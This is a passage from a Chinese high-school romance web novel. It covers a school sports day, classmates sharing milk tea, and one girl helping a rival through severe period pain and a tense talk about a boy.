但是不知道为什么……听到刚刚的问话之后,他的杂乱心情好像一下子被抚平了。
应琮觉得他沉思的时间太长了,好看的眉微微蹙起,掀开隔离带就要走。
“你不想说就算了……”
见状,盛逸反应过来,赶紧再次给她撑开位置,两个人的手却意外交叠。
感受到他传递出的温热体温,应琮一个激灵,迅速抽手起身。
两个人之间隔着红色的一条隔离带。
“我没有心情不好。”
盛逸先回答了她的第一个问题,没有否认刚刚一时的情绪,但是钻过隔离带的动作灵巧轻快很多,面上终于露出一个笑脸,语气也恢复和平时无异。
“那就好,”应琮接道,没有在意他刚刚的走神,“我以为你还在因为跳高比赛没拿第一名,耿耿于怀。”
“运动会而已,重在参与,我看开了。”
盛逸没有纠正她的理解,说话的同时,伸手指向大本营的方向。
“不过确实够累的,我们还是赶紧去喝点水吧。”
*
操场的另一边,裴少言也被班里的人簇拥着,几人缓缓往大本营的位置走去。
“太厉害了你!”
回想对方刚才冲刺的身影,体育委员忍不住伸出大拇指,脸上满是喜悦。
“还真是深藏不露啊哥!”
他和裴少言从高一就是同班,虽然学霸一直以来的体测成绩都不算差,但他还是第一次知道裴少言这么深藏不露,居然还有长跑的才能,简直是文武兼修的奇才啊!
其他还好说,他报的项目那可是三千米啊!!!
不说班上没有几个体育健将,哪怕是他亲自挂帅上场,拿不拿得到奖另说,恐怕跑到半程就会口吐白沫,被人抬着离开跑道。
听着身边同学七嘴八舌的称赞,裴少言的神情和平常没什么两样,依然是淡淡的——只要忽略他略显苍白的唇色和更加透明的脸色。
“为了感谢学霸的鼎力相助,这个给你,好好补补!”
体委从口袋里变戏法般拿出一盒巧克力,不由分说地塞到裴少言的手里。
“要不是有你,我们班就得缺赛了。”
他一脸“好险好险”的表情,拍着自己的胸脯长出一口气。
其实一开始,体育委员并没有把算盘打到裴少言的身上,尤其剩下的还是全班都避之唯恐不及的长跑项目。
毕竟高一时候的运动会,裴大学霸参加完开幕式便回了班,足足在教室呆了两天。
不仅写完了运动会期间布置的作业,还额外刷完了整整一本练习题,对知识的渴望恐怖如斯。
所以理所应当的,今年运动会报名时,即使好几个项目有空缺,体委也只是在自己的座位周边游说。
“三千米?你把我当铁人啊!”
“……婉拒了哈。”
“不好意思,我运动那两天请假要回家休息。”
“没人报的话,你自己怎么不上?”
……
问遍了周围,找遍了朋友,换来的却不是两肋插刀、甘愿赴汤蹈火的好兄弟,却是各种绝对不重样的拒绝理由。
实在是一群没有团队精神的人啊!
太不利于团结了。
甚至无人在意他算分算得有多辛苦。
截止上报运动员参赛名单的前一节课,体育委员有气无力地趴在桌上,手上还在翻着运动会的日程安排表。
学校的规定是,每个项目可以不必须报满人数,但不能完全没人报名,否则就会扣很多积分,极大程度地影响运动会结束后各班的排名顺位。
体委自己本来报名参加了其他的项目。
如果实在没有人报名的话,他只能缺席短跑,然后亲自填补上男子3000米的空缺……
唉!都怪重新选科后,他们班的组成结构更是被动精挑细选成一些厚眼镜的理科细狗,平日里最剧烈的运动恐怕也就是在班级后排积极讨论物理题了,这才导致今年运动会出现了如此尴尬的情况。
想着想着,他拿起笔,随意翻开一本书,在边栏的空白部分列起算式来。
这样的话,他们班光是参加项目的基础积分就有200,如果有人能拿到单项的前两名话,又能再加……
他写写涂涂,纸页上投来一道灰暗的影子。
抬头看去,有些意外,原来是平时在班级里私交甚少的裴少言。
“你有事吗?”
体委放下笔,意识到自己说话的语气,听起来有几分不善,赶紧找补。
“呃,咳咳,我的意思是,你有事情找我吗?还是说想要借东西?下午的体育课要请假?”
他真诚地看着对方,贴心地为二人的对话提供多种选项,额间默默留下两滴汗。
“我听说运动会的长跑项目还没人参加……”
裴少言的手指指了指日程表的一处,声音温和。
“如果缺人的话,我可以参加。”
“啊??!!!”
竟然有人主动报名参加长跑比赛,解决了自己的燃眉之急。
体委几乎是瞬间从座位上弹射起身,顾不得两个人平时毫无交集,在裤子上抹了两下手,接着一把握住他的双手,用力地上下摇
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晃。
“恩人啊!”
他有意大声感慨道,想让周围的其他人也知道这件事。
尤其是找借口拒绝自己的那些人,最应该听听。
“简直就是我们班雪中送炭、暗室逢灯、济困扶危的大!英!雄!”
他表现得实在太夸张,裴少言将自己的手慢慢抽回去,抿起的唇角上带了几分无奈。
“报名还需要提供其他的吗?”他问。
“不,”体委拍拍他的肩,就差给他捏捏锤锤,还怕力气重了,“我把你的名字报上去就好了。”
裴少言微微点头,表示明白,转身要走时才发现体委的手依然放在自己的肩膀上。
他垂眸看向对方,眉心几不可察地蹙了蹙。
“啊,抱歉!”
触及他的目光,体委触电般地收回自己的手,讪讪道。
是他太得意忘形了,忘记001讨厌与别人肢体接触了。
“总之,一定要养精蓄锐啊!下周就比赛了!”
对着裴少言离去的背影,他不忘叮嘱。
*
上周的心情,体委只是闭上眼想想,依然能够重温。
但再重新看回身边的裴少言,体委原本的忐忑不安消失得无影无踪,甚至自以为和他已经算班里比较熟的同学。
“平时难道你都有偷偷训练吗?怎么能这么有毅力!”
“可能因为我有遛狗吧。”
遛……狗?
如果不是因为001的表情认真严肃,体委都要怀疑对方是随口找的借口糊弄自己。
刚刚观长跑比赛的过程里,他分明看到参赛选手里还有两三个校田径队里的同学。裴少言连他们都能跑过,这是区区遛狗就能做到的吗?
偷偷瞥一眼还是那么惜字如金的学霸,体委收回视线。
算了,就当他觉醒了长跑天赋吧。
旁边的同学开始说起刚刚看比赛时的情景和心情,体委也忍不住加入其中。
几人边说边走,沉浸在得奖的兴奋中,没有人注意到裴少言脸上转瞬即逝的复杂神情。
明明是虽然赢了比赛,却没有开心之色。
*
人的注意力是有限的。
是裴少言在漫长的校园生活中学到的真理。
虽然在学习中,投入了大量的注意力也不一定能够有所收获;但不投入注意力,一定无法成功。
等量替换到生活中也是一样。
如果关注的时间足够多,总有一些事情会发生质变,令人猝不及防、难以预料。
一向不喜欢参加集体项目的应琮,为什么这次运动会来到了操场上……甚至和盛逸待在一起。
想到两个人一前一后走着的样子,以及身上穿着的同款外套,裴少言的眉宇间笼上一层阴霾。
只是班服而已。
他试图说服自己,却发现于事无补。
二人目光触及时,应琮眼里一闪而过的慌乱和紧张,他看得真真切切。
而少女率先移开的目光,无疑是比其他更加刺痛他内心的存在。
现在,应琮的同桌已经不是自己,而是那个盛逸。
可她原本只给自己的注意力,又是在什么时候转移的呢?
裴少言坐在椅子上,薄情又寡淡的阳光洒了下来,浅浅的一层,没有多少温度可言。
他缓缓倒了下去,双手覆在自己脸上,无声地叹气。
52. 第 52 章
二人刚一靠近大本营,就发现高二6班一众人闹哄哄的,大家三五成群,七嘴八舌地说着什么。
怎么了?
应琮的眉心微蹙,不禁轻轻踮脚,往人群中心探寻着看了几眼。
“你们在干嘛呢?这么热闹。”
像是猜中她的心思一般,旁边的盛逸朗声道,他比应琮高了一个头,自然也轻易就能让人注意到。
“他们围着是准备跟许老师拍照。”
武小圆的声音从旁边响起,同桌二人不约而同地转头看去。
对方今天显然特意打扮了一番,换掉了一成不变的苹果头,两条细细的麻花辫垂在锁骨处,不仅搭配着身上的糖果色套裙,也平添几分活泼。
应琮还注意到,她的脸颊上贴了几颗星星形状的亮片,似乎是最近很流行的装饰。
“又拍照?”
听到她的解释,盛逸了然地挑眉,想了想,忽然转向应琮:“那同桌你要不要拍?”
“……?”
应琮发现这个盛逸有时候表现怪怪的,比如他经常莫名其妙地就将话题往自己身上引导,明明她完全没有表现出任何想要和老师合照的意思。
当然,她倒也不是说不喜欢许文言,只是不习惯往人群中掺和,尤其是自己和其他人还没有熟悉到这个份上。
程依依曾经调侃她就适合那种入室抢劫式的友情。其实很有道理,应琮身边的每一个朋友都是比她更主动更活泼更开朗的人。
除了……
“你不好意思吗?”
盛逸再度开口,打断了她的思绪,像是没看到她脸上的抗拒,自顾自热情邀请,“那我们一起去吧。”
“虽然我去年已经和老许拍过了,不过再拍一次也无妨……”
其实他想法很简单,他们同桌一对曾经也是让许文言头疼过的,现在两人好歹也是相敬如宾起来了,找班主任拍个照很合适,既是纪念,也是向老班证明,让老班放心。
说罢,他整个人就要往人群走去。
应琮却不搭理他,找到自己的椅子坐了下来。
“干嘛不去?”
盛逸迈出两步习惯性地偏头确认她的步伐,见她没跟上自己,走到半路又折返回来。
“……”应琮放下手上的杯子,语气无奈,“我不喜欢拍照,你自己去吧。”
“啊?”盛逸一句“我已经拍过了”硬生生吞了下去,坐在她旁边的椅子上,语气有些失落,“可是大家都在拍。”
就是因为大家都在拍,所以应琮更不想找许文言拍照了。
她对所有教过自己的老师都淡淡的,虽不至于失了尊敬,但也并不觉得亲密。
贸然过去要合影,像是不识趣的路人为了凑热闹而凑热闹,太尴尬了。
可……应琮看着盛逸,莫名觉得他像闹着要出门玩的狗一样,心里也知道这家伙没那么好打发。
要是此时此刻有个人能像肉骨头那样转移一下他的注意力就好了。
说曹操,曹操到。
“丁一锐——”
看到盛逸身后走来的二人,应琮赶紧起身招呼道。
“你们终于来了!”
盛逸有些无奈地看着她一反常态,快步冲着两人迎过去,还帮忙扶住脚步依然有些虚浮的柳飞阳。
柳飞阳注意到应琮脸上露出如释重负的笑容,忽觉奇怪。
“咋啦,你有事找我?”
丁一锐丈二和尚摸不着头脑,见她态度热情非常,不由得问。
“没,”应琮摇头否认,然后触及到盛逸不满的眼神,佯装自然道,“咳,盛逸问你们要不要去找许老师合照。”
“合照?”丁一锐奇怪地看向盛逸,“扭捏啥呢,那走呗。”
装什么小男子呢,还需要人隔空传话上了。
“我就不去了。”
柳飞阳坐在应琮旁边,声音依然有些哑。
“我在旁边照顾她吧。”
应琮拿过丁一锐手中的水,积极道。
此举把正副班长都感动坏了,谁说咱班应琮孤僻了,这不很懂得为组织为同志服务吗!
“走啊!”
见哥们还懒在原地半天连动都没动,丁一锐不耐催促道:“不是你说要拍照的吗?”
“人太多,不去了。”
盛逸摆烂道,整个人倒在椅子上,顺便还幽怨地瞥了一眼应琮。
这种程度的攻击,应琮视若无睹。
只有丁一锐气得踹了他一脚,还被他灵活躲过了。
“欸,杨乐呢?”
应琮从包里给柳飞阳掏了张湿纸巾擦脸,顺口一问。
明明班里派出了一男一女参加长跑比赛,怎么只有柳飞阳回来了。
“哦,”丁一锐也随便在旁边找了个位置坐了下来,“走到半路上,被他姐带走了,不知道去做什么。”
“我只知道我饿好久了,”他掏出手机,兴致勃勃道,“总算忙完了,刚好现在快要中午了,要不要一起点外卖?”
虽然学校不是没提供午餐,但是运动会这几天,学校不仅允许他们带手机来,就连对点外卖这种一级违禁行为也睁一只眼闭一只眼。
丁一锐怎么可能放过眼前难得的机会,物以稀为贵,他宁愿自己花钱也要吃点难得的垃圾食品。
“好啊,”盛逸总算有了点活劲,他俩口味也相似,欣然应允,“顺便把奶茶也点了吧。”
“不错不错,正合我意!”
丁一锐平时就爱喝点甜的,尤其是全糖奶茶。
为此,他还特意尝试过用小卖部有限的饮料种类,在班里做过特调饮品——不过除了同样嗜甜如命的盛逸,没人能喝得下这么甜的东西。
也是打那时候起,丁一锐才意识到,即使没去卢浮宫,也能遇见属于自己的蒙娜丽莎。
“你们要点哪一家的?如果是一点点,我知道它家有个隐藏菜单!”
提到奶茶,本来半死不活的柳飞阳也来了兴致,凑了过去。
他们不说,应琮还没有注意时间,原来已经快中午了。
她没有立即加入外卖讨论,而是思考着自己是要回家吃饭还是去店里,亦或者是在学校解决?
今早出门忘记问妈妈了。
“应琮,你要喝什么?”
丁一锐将自己的手机递了过去。
“随便,”她对奶茶没有那么执着,连他们选哪家店也不知道,“水果类的,别那么甜就好。”
“行。”
丁一锐刚一答应,就发现自己的手机去到了另一个人手里。
耳朵还真是灵哈。
“呵呵,这么殷勤……那你帮她选。”
低头认真选饮品的盛逸假装没听出他语气里的阴阳。
呵呵,丁一锐和他同桌顶多算得上点头之交,应琮的口味,他选的明白吗?
*
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“奶茶来了!”
丁一锐和盛逸长得本来就高,加之二人四手提着满当当的外卖归来,比打了胜仗还威风,一路上不知道收获了多少路人同学的艳羡目光。
因为有柳飞阳的加入,两个班长一合计,倒不如再多点些甜食以及喝的,好好犒劳今天参加比赛、替班争光的运动员们。
也确实是他们都不差钱。
见到自己班的专送外卖员来了,特意在大本营等候的同学纷纷围了过来。
“等等!”
盛逸刚放下外卖就被蝗虫般的同学们围住了,他在人群中挤来挤去,眼睛扫过奶茶上面的标签,生怕有人拿错。
“谁拿了草莓牛乳茶?唯一的一杯三分糖,请速速归还!”
“为什么你一个人要喝两杯?”
有不明所以的同学注意到他手上已经拿了一杯奶茶,不禁问道。
“没办法,因为我贪婪成性。”
盛逸毫不在意地哼哼两声,从丁一锐的手上接过草莓牛乳茶。
“……?”
听到如此大大咧咧的回答,那人反倒语塞了,半晌才讷讷开口。
“厉害,不过你帮忙拿了这么重的外卖也是辛苦,多喝一杯就多喝一杯吧。”
“哎呀,你别听盛逸胡说八道,”丁一锐试图拯救好哥们在班级的形象,“那是给应琮拿的。”
“应琮?”那人拿着奶茶环视一圈,“怎么没看见她啊。”
闻言,盛逸蹙眉,也左右看看,班级大本营里并没有她的身影。
离开眼皮底下一会子功夫还能丢了?跑去哪了??
他又往隔壁两个班看去,毕竟是在操场上,四周毫无遮挡,一览无余,能够清楚看到隔壁几个班也就寥寥数人老实呆在班里,或三五成群拍照,或聚众开黑。
远处是紧急医疗处的蓝色帐篷和麦当劳补给站的黄色帐篷,难道应琮去买东西吃了?
灵光一现,盛逸忽然意识到了另一个可能,脸色一下变得有几分古怪。
按照一中传统,他们年级偶数班在操场的左侧扎营,奇数班则在另一侧。
应琮该不会是去操场的另一边,找裴少言了吧?
他抿了抿唇,奶茶外壁沁出的水珠凉凉的,将手心也润湿了。
“应琮怎么不见了?”
组织大家分完奶茶和小蛋糕后,丁一锐见盛逸拿着草莓牛乳茶还愣在原地,这才反应过来,满脸奇怪。
“刚刚好像还在的,”柳飞阳之前在低头刷手机,也没有留意她什么时候离开大本营的,“要不然等等?或者是发个信息问问?”
“她去医务室了。”
听到他们的疑问,不知何时出现的杨乐嘬了一口手上的黑糖珍珠奶茶,心满意足地叹了口气后,方才悠悠开口。
“什么?”俩班长大惊失色。
“你确定吗?”盛逸追问道。
杨乐点点头,他亲眼看到的,怎么会有错。
“好好的怎么跑到医务室去了……”
丁一锐小声感慨。
也不知道明天的接力比赛,应琮能不能顺利地完成。
他话还没说完,盛逸已经提着零食饮料快步走了。
“他要去哪?”柳飞阳问。
“还用说,”丁一锐了然地点点头,语气深沉,“当然是去医务室探望同学了。”
同桌一场,仗义这一块还是有的。
53. 第 53 章
应琮的确在医务室。
她抿了一口医务室的温水,安安静静坐在座位上,鼻尖萦绕着独属于这里的酒精味,眼前是半躺在病床上,脸白如纸的女生,她无声地叹了口气。
怎么也没想到,事情会以这样的方式展开。
“那个,你现在还是很难受吗?”
应琮三思过后,还是开口打破沉默,偏头看向床上的人。
她坐的椅子距离熊颜颜不远处,或许是因为椅子的高度有些古怪,总有一阵没来由的局促不安。
“可能是药效开始发作了,”熊颜颜勾起唇角,回以极轻微的一个笑,“现在好多了。”
“嗯……”话虽如此,但应琮听她的语气中还是掩盖不住的虚弱,还是妥协了,“我还是等武小圆她们回来再走吧。”
因为运动会,两位校医都被传唤到操场上去了,一时半会恐怕还回不来。
出于仁义道德的角度,应琮也不敢放熊颜颜一个病怏怏的人独自在这里。
“多谢。”
熊颜颜靠在墙壁上,微微阖眼。
总归不会被人发现,应琮索性大胆地看了过去。
熊颜颜长得很好看,她有着恬静秀丽的面容,如瀑的黑发披散在肩后,将本就小巧的瓜子脸衬托得白皙。或许因为小腹依然有些胀痛,她的眉毛微微皱起,有了几分病西施的意味。
平心而论,对方实在是一个长相和气质都出众的女生,尤其她还擅于放大自己的优势,想来在学校里也很受人欢迎。
“一直看着我做什么?我长得又没有你好看。”
熊颜颜忽然睁开双眼,直直撞入应琮的眼眸。
她的语气淡然,却又不像是玩笑或揶揄。
“……我没有要和你比较的意思。”
应琮愣了一下才缓缓移开视线,盯着医务室天蓝色的窗帘,敏锐地感觉到脸颊微微发热。
怪了,她到底怎么知道自己在偷看的。
听到应琮的话,熊颜颜意味不明地低低笑了。
“不管怎么说,刚刚还是要谢谢你。”
她主动转移话题,声音带上了少年人特有的轻快。
“下次有空时,周末约你出来吃饭吧。”
毕竟她们两个人是单独相处起来会别扭的关系,应琮知道她说这话的意思是不想欠自己的人情,默然几秒后,微微点头表示同意。
“怎么这么久了,她俩还没回来……去补给站买个喝的需要那么久吗?”
熊颜颜像是支撑不住般,整个人重新倒下去,嘴里小声嘟哝着。
邹枫和武小圆把她扶到医务室后,说要去给她买杯热饮,两个人把好友托付给平时关系一般的应琮就算了,结果去了半天,居然现在还不见踪影。
医务室里现在又没有其他人在,只有她们两个人相顾无言。
熊颜颜觉得心累。
“应琮!”
一道声音惊雷般乍现,伴随着强烈的脚步声,盛逸气喘吁吁地从门口冲进来。
他直直跑到端坐在椅子上的应琮跟前,上下打量也没发现她哪里受伤,焦急的神情不减。
“你怎么了?哪里不舒服?怎么我就错眼一会儿,你就把自己搞进医务室了?”
他的声音太大,以至于被打扰静休的熊颜颜咳嗽一声,从床上坐了起来。
还好没有其他人在。
应琮伸手挡住脸,觉得医务室这种场所应该禁止狗入内。
“你小声点,不是我,是熊颜颜不舒服。”
“熊颜颜?”
盛逸这才转身看到全场唯一真·病患。
“哦哦,不好意思,”他低头道歉,“我不知道你也在这里。”
“没关系。”熊颜颜说。
她脸上的笑容很客气,和之前不太一样。
“你受伤啦?”
盛逸顺嘴关心一句,同时悄悄将自己带来的草莓奶茶递给应琮。
“没什么大事,只是有些不舒服。”
见他动作,熊颜颜面上闪过一瞬的黯然。
这个时候递什么奶茶,多少显得有点没眼色。
应琮瞪他一眼,将奶茶放在一边。
“颜颜——”
呼啦呼啦地,医务室一下子进来了好几个人。
“你怎么也来了?”
看到为首的丁一锐这大张旗鼓的作态,盛逸怪道。
“我自有我来的原因。”丁一锐白他一眼,旋即又重新换上平时社交场合上的礼貌姿态,上前将手上提着的饮品拿给熊颜颜。
“这是热的红糖姜茶,你同桌要我拿过来。”
“……谢谢。”熊颜颜下意识道。
不过他们甚至都不是一个班的,很快她面露疑惑。
“你们认识?”
“我们是同个初中的。”丁一锐不紧不慢地解释,“来的路上刚好遇到她,顺便就聊了几句话。”
“她说你这两天在生理期身体不舒服,所以特意给你点了红糖水,刚刚正满操场找你呢。”
另一边的邹枫插嘴道:“我和小圆刚好遇到他们也在往医务室走,就把他们带过来了。”
“可是,”熊颜颜朝几人身后看去,“她人在哪儿呢?”
“听说你在医务室,所以她去操场上叫校医了。”武小圆解释说。
熊颜颜看着自己床边桌上,一杯是温热的红糖姜茶,另一杯是同样烫手的热可可。
“哦对了,”盛逸后知后觉,将手上另一个袋子拿到桌上,“这是一盒蛋挞,你应该能吃吧。”
熊颜颜半天才点点头,相较于平时待人接物完美无瑕的模样,现在的她显得有些笨拙,像是搞不清楚状况。
“下次如果再不舒服,不要光喝红糖水,也要记得搭配止痛药。”
已经被众人挤到边缘的应琮正色道,话中似乎意有所指。
盛逸甚至觉得她好像和熊颜颜有什么只有两个人才知道的小秘密。
听出她是在关心自己,熊颜颜感激地笑笑,比以往都更真心。
*
盛逸猜想的不错,不过应琮和熊颜颜相遇,实在是意料之外。
因为大本营设在操场上,要去洗手间必须跨越大半个操场,来到最近的教学楼。应琮从洗手间出来,正准备按照原路回去,发现不远处的女生走路出奇的慢,甚至有摇摇欲坠的趋势。
果然,没走几步,女生整个人像是再也坚持不住一般,半蹲半跪在路中央。
应琮赶紧上前,伸手扶住她。
“……嗯?”
待看清那人的脸,她不由得惊讶出声。
是熊颜颜。
她一手努力撑着地板,另一只手紧紧攥着肩头的衣服,应该是在忍受着腹部的绞痛,脸色苍白得可怕。
“你还好吗?”应琮关切道。
熊颜颜的双唇蠕动几下,发出含糊不清的几声后,又死死咬着自己的下唇,阻止痛苦的呻吟不小心溢出。
“我们先去旁边的椅子上坐会儿吧。”
她的状态实在糟糕,应琮让熊颜颜整个人都倚
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靠着自己,小心地将她慢慢扶起来。
两个人一步一挪,来到树下的长椅上坐下。
“你是……痛经吗?”
观察她的神色和按压在小腹上的手,应琮猜测道。
熊颜颜点点头,脸上痛苦之色不减。
她以前还只是间歇性地小腹胀痛,没想到今天发作得这么厉害,肚子里仿佛有一把钝刀子来回拉扯,小腹撕裂般的疼……可能是因为最近的节食减肥太狠了,以至于身体抵抗力下降了。
应琮坐在旁边,垂眸看着她被咬得殷红的下唇和发白的脸色,在脑中思索着对策。
这里距离医务室还有好一段距离,熊颜颜痛得连话都说不完整,恐怕也没有力气走过去。
对了,她记得自己带了药来着。
“这样吧,”应琮语气轻柔地开口,“你坐在这里稍等我一会儿。”
熊颜颜没说话,她们两个本来也称不上是能够相互依偎的关系,应琮能够主动扶她来到椅子上坐下,已经很出乎她意料了。
看着她匆匆离去的背影,熊颜颜弯下腰,双臂环绕在自己身前,感觉阵阵发冷。
好在,自己在群里发了信息,去领奖状的邹枫和武小圆稍后会过来的。
熊颜颜凝视着地面上的落叶,强忍疼痛。
“你先吃了面包,然后再把这个吃了。”
应琮去而复返,将手上的东西递到熊颜颜的面前。
“……我不吃这个。”
看到她手心里装着蓝色药片的小袋子,熊颜颜将头一别。
“这是止痛药。”应琮以为她是不知道才拒绝,耐心解释道,“虽然不是布洛芬,但它的药效发作更快,吃了之后很快就能缓解疼痛的。”
“我从来不吃止痛药。”
熊颜颜一字一顿地开口。
“为什么?”应琮满脸奇怪,“如果你每个月痛经发作都这么严重,为什么不吃止痛药缓解?”
看她那样,肯定不是第一次这么难受了,一直强忍着难道不会影响到正常的学习生活吗?
“我会喝红糖水……还有贴暖宝宝。”
熊颜颜抿了抿唇,回避她的视线。
“有用吗?”
应琮反问道,她也是痛经过的。
“……”
熊颜颜沉默不语。
“如果你是担心吃了止痛药会上瘾或是有什么其他的副作用,”应琮学着从前应雨柔教训她的语气,注视着熊颜颜,“那我告诉你,完全是杞人忧天!”
“合理地吃非甾体类抗炎药,是绝对不会有成瘾性的。比起吃止痛药,你不觉得一味地忍痛更伤身体吗?”
听到应琮的话,熊颜颜眼睫微微颤动。
“……你平时也会吃这个药吗?”她的声音很轻很小。
“废话,我不吃的话为什么会带着这个来学校?”
应琮顿了顿,意识到自己的语气太糟糕,又补充道,“这可是我妈妈给我买的,难道她会害我吗?”
熊颜颜没吭声,目光落在对方手心里的药片上。
她的妈妈说过,月经是女人生命中不可避免的烦恼,就算痛也不能吃止痛药,忍痛是必修课。
忍着忍着,痛经就过去了。
这么多年,自己都是如此过来的。
可现在,有人跟她说,忍痛比吃药更伤身体。
“好。”
半晌后,熊颜颜终于点头。
“我吃。”
既然应琮也吃止痛药,那她也可以吃……吧?
54. 第 54 章
熊颜颜的同桌很快带着校医一起出现在门口。
校医室里恐怕少有挤满了如此多闲杂人等的时刻,房间里的二氧化碳浓度足以让人窒息。见状,原本待人亲切温柔的校医脸上的表情也变得难看起来。
恐怕谁也不想在外面忙活半天回来,发现屋子里挤满了吵吵闹闹的青春期少年。
识时务者为俊杰,除了灵机应变假装肚子痛的武小圆留了下来,其他人半是主动半是被迫地准备离开医务室。
“应琮。”
在离开时,床上的熊颜颜再次开口叫住了她。
还有什么事?
应琮转身,脸上的表情足以表示出她内心的疑惑。
也因为她停住了脚步,走在前面的盛逸也不继续往前走了,连带着丁一锐也愣在原地。
结果乌泱乌泱走了半天,实际上离开医务室的人,只有邹枫和熊颜颜的同桌而已。
“磨磨蹭蹭的干什么?”
校医收拾完东西一转身,发现几个人还傻站在原地,语气更为不善。
“这里可不是给你们聚会说笑的地方。”
“不好意思医生,”熊颜颜忍痛下床,向着应琮的方向走过去,“我就和她说一句话。”
她的声音里带了一丝恐怕自己都没发觉到的恳求意味。
校医再怎么也不能凶病号,她看熊颜颜行动不便的模样,喉间发出意味不明的声响,算是默许了她的行为,只是表情依然没有缓和。
“那我们在外面等你。”
见哥们似乎还有傻站着不走的意思,丁一锐冲应琮丢下一句后,赶紧抓着盛逸匆匆离开。
“你要说什么话?”
应琮的眉毛微妙地上抬,她猜不出对方葫芦里卖的是什么药。
“其实……”
她靠得很近,身上传来一阵若有若无的幽香,应琮不动声色地闻了几息,像是某种花香。
“我从来没有喜欢过盛逸。”
说完,熊颜颜无比利落地转身,重新回到了病床上躺下——依旧是那副虚弱的样子,但神情显然松下一口气。
听到她的话,应琮的大脑短暂地空白了两秒,反应过来后,随即感受到胸腔里涌上来的薄薄怒火。
什么意思?
熊颜颜这是在向她解释什么?
还是……另一种程度上的羞辱?
应琮气得眉毛一竖,更倾向于后者。
虽然熊颜颜和她之间的关系并不能说是水火不容,甚至自己刚刚还对她出手相助。
但提及这些所谓的感情之事,她清晰记得熊颜颜之前因为想要追求盛逸,与朋友在洗手间说的那番话。
现在颇有一种出尔反尔的意思,对自己这一局外人很冒犯好吗?
更何况喜不喜欢盛逸,为什么要专门说一声,把她应琮看作是什么人?
应琮直视对方,面容陡然变得冰冷。
面对她的眼神,熊颜颜像是没有感受到其中燃烧的熊熊怒火,毫不避讳地看着她的双眼,眸子笑得微微弯起。
怪不得盛逸喜欢招惹她,应琮生起气来居然还挺萌的。
对方竟然还在笑!
很显然,熊颜颜压根就是没把自己当回事。
应琮气得失语,匆匆离开医务室。
“发生什么事了?”
刚走过来,注意到她脸上余怒未消,盛逸立即开口问。
“咋啦?熊颜颜跟你说什么了?”丁一锐也好奇问道。
两个人的视线一起投了过来,像是四道闪闪发光的探照射线。
应琮一言不发,沿着路往前走,脸绷得很紧,步伐也很快速。
盛逸和丁一锐对视一眼,都从对方的眼睛里看出了迷惑不解。
医务室里,究竟发生了什么?
……
校园内到处是扎堆的人群,欢声笑语萦绕耳边,应琮独自闷头往前暴走的背影,落在二人眼中,变得无比孤单落寞,和周围欢乐的氛围格格不入。
盛逸拔脚追了上去,见状,丁一锐故意放慢了脚步,恨不得往前走一步后退两步。
他可不是那种读不懂气氛的白目。
两个人的脚步都很快,丁一锐很快被远远甩在后面,眯起一百度近视的眼睛远远望去,盛逸那小子正拉住应琮的胳膊说着什么。
可惜他虽爱八卦同学恩仇,但忘记进修唇语翻译这门课,只能尽量从两个人的表情上分辨一二。
应琮的表情只在被盛逸抓住的瞬间,发生了波澜,几乎是眨眼间又恢复了平时心情糟糕时的臭脸。
两个人又说了什么,忽然,应琮转身沿着来时的路,重新往后走去。
怎么回事?!
丁一锐赶紧装作不经意地挡住她的去路。
“有东西忘在医务室了?”他随口道。
“是。”应琮点点头。
没想到班长如此贴心,竟然为她重回医务室提供了一个非常棒的借口。
担心熊颜颜会在这个当口离开,应琮顾不得再解释细节,匆匆往医务室的方向走去。
“她还真忘东西了啊?”
目送暴走怒琮的远走,丁一锐快步走到盛逸身边,语气惊讶。
他只是随便想的一个借口,想说这样开启对话就不会太突兀,没想到还真猜对了。
“嗯,”盛逸从鼻子里哼出来一声,神情有几分郁闷,“不知道是真是假。反正她说自己要回去一趟,拦都拦不住。”
“啧啧啧,”看到他这幅罕见的模样,丁一锐就想笑,“别说拦了,我看你站在应琮面前,个子都有点矮一截。”
“我那是迁就她,故意屈腿蹲低了点好不好。”盛逸振振有词。
“那我们,”丁一锐才不和他纠缠那么多,自顾自兴冲冲道:“回大本营还是去找个地方打球?”
“……”
盛逸思考片刻后,果断道,“我要回班上一趟。”
又搞什么飞机?
直到今天,丁一锐才认识到一个惨痛的现实:
他的好哥们、篮球搭子、贴心的臣子盛逸同学,自从和应琮坐同桌之后,谜语人的天赋直线上升。
自己有时候,真有点跟不上这小子脑回路运行的速度。
*
眼前是自己熟悉的白墙和淡淡的酒精味。
站在门口,应琮深吸了一口气,敲了敲门后便径直走了进去。
“有什么事?”
见她去而复返,校医皱起眉头。
“我来拿东西,很快就离开。”
应琮将自己原本放在地上的奶茶拿了起来,又看向已经坐在床边的熊颜颜。
还好,她还没走。
“熊颜颜,你肚子是不是不痛了?我们找个地方说说话吧。”
她看向女生,笑了笑。
熊颜颜显然没想到她会主动邀请自己,先是和武小圆对视一眼后,才点头应允。
“你想去哪儿聊?”
应琮很大方地将地点的选择权交给她。
“去三楼架空层那里吧,”熊颜颜沉吟道,“那里比较安静,平时也少有人过去。”
“好。”
应琮对此没什么异议。
*
教学楼的架空层,四面无遮,吹起风来能感到刺骨的含义。
若是站在围栏前往远处看,只见操场上的人影化作了一团团渺小的蚂蚁群,加油呐喊声也连带着模糊了。
“你想对我说什么?”熊颜颜率先开口。
“难道是对我说的话产生了怀疑?”
应琮不语,表情
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淡淡。
熊颜颜又道,“我真的没喜欢过盛逸,信不信随你。”
或许是因为应琮的态度模糊不清,她的语气带了一丝不耐。
“我之前听到了你们在洗手间谈论的话。”
应琮也不和她拐弯抹角,直接坦白道。
“我们?”
熊颜颜的语气奇怪。
片刻后,似乎是记起什么,她的表情一下子变得难看起来。
“原来如此,”熊颜颜忽然笑了,“难怪你对我这么冷漠……”
接着,她像是自言自语,“从来没有人对我是这样的态度。”
应琮不答,不知道她在说些什么有的没的,自己对不熟的人本就冷漠。
不完全是熊颜颜的原因。
“我承认,”熊颜颜双臂环抱在身前,勾起唇角,“之前我的确对你有许多误会,甚至是恶意揣测过你。”
“但这和我没喜欢过盛逸并不冲突。”
“怎么不冲突?”
应琮接过话头,毫不客气地拆穿她伪装的假面,反问道。
“你对我有意见,不正是因为觉得我们两个之间有点什么吗?”
“……”
熊颜颜沉默了,她抿了抿唇,回避应琮的目光。
“你为什么刚刚要对我特意强调这句话?”应琮步步紧逼:“你喜不喜欢他,和我有什么关系?”
说出口的瞬间,她感觉原本还烦躁不安的情绪,缓解不少。
是了,自己想说的,其实只有这一句而已。
“……盛逸对你而言是什么?”
熊颜颜的声音响起,很薄很轻,像是一张雪白的纸页翻动。
应琮挑眉。
“在我们学校里,他长相出众,会学习也会运动,而且还幽默、善良、大方……”
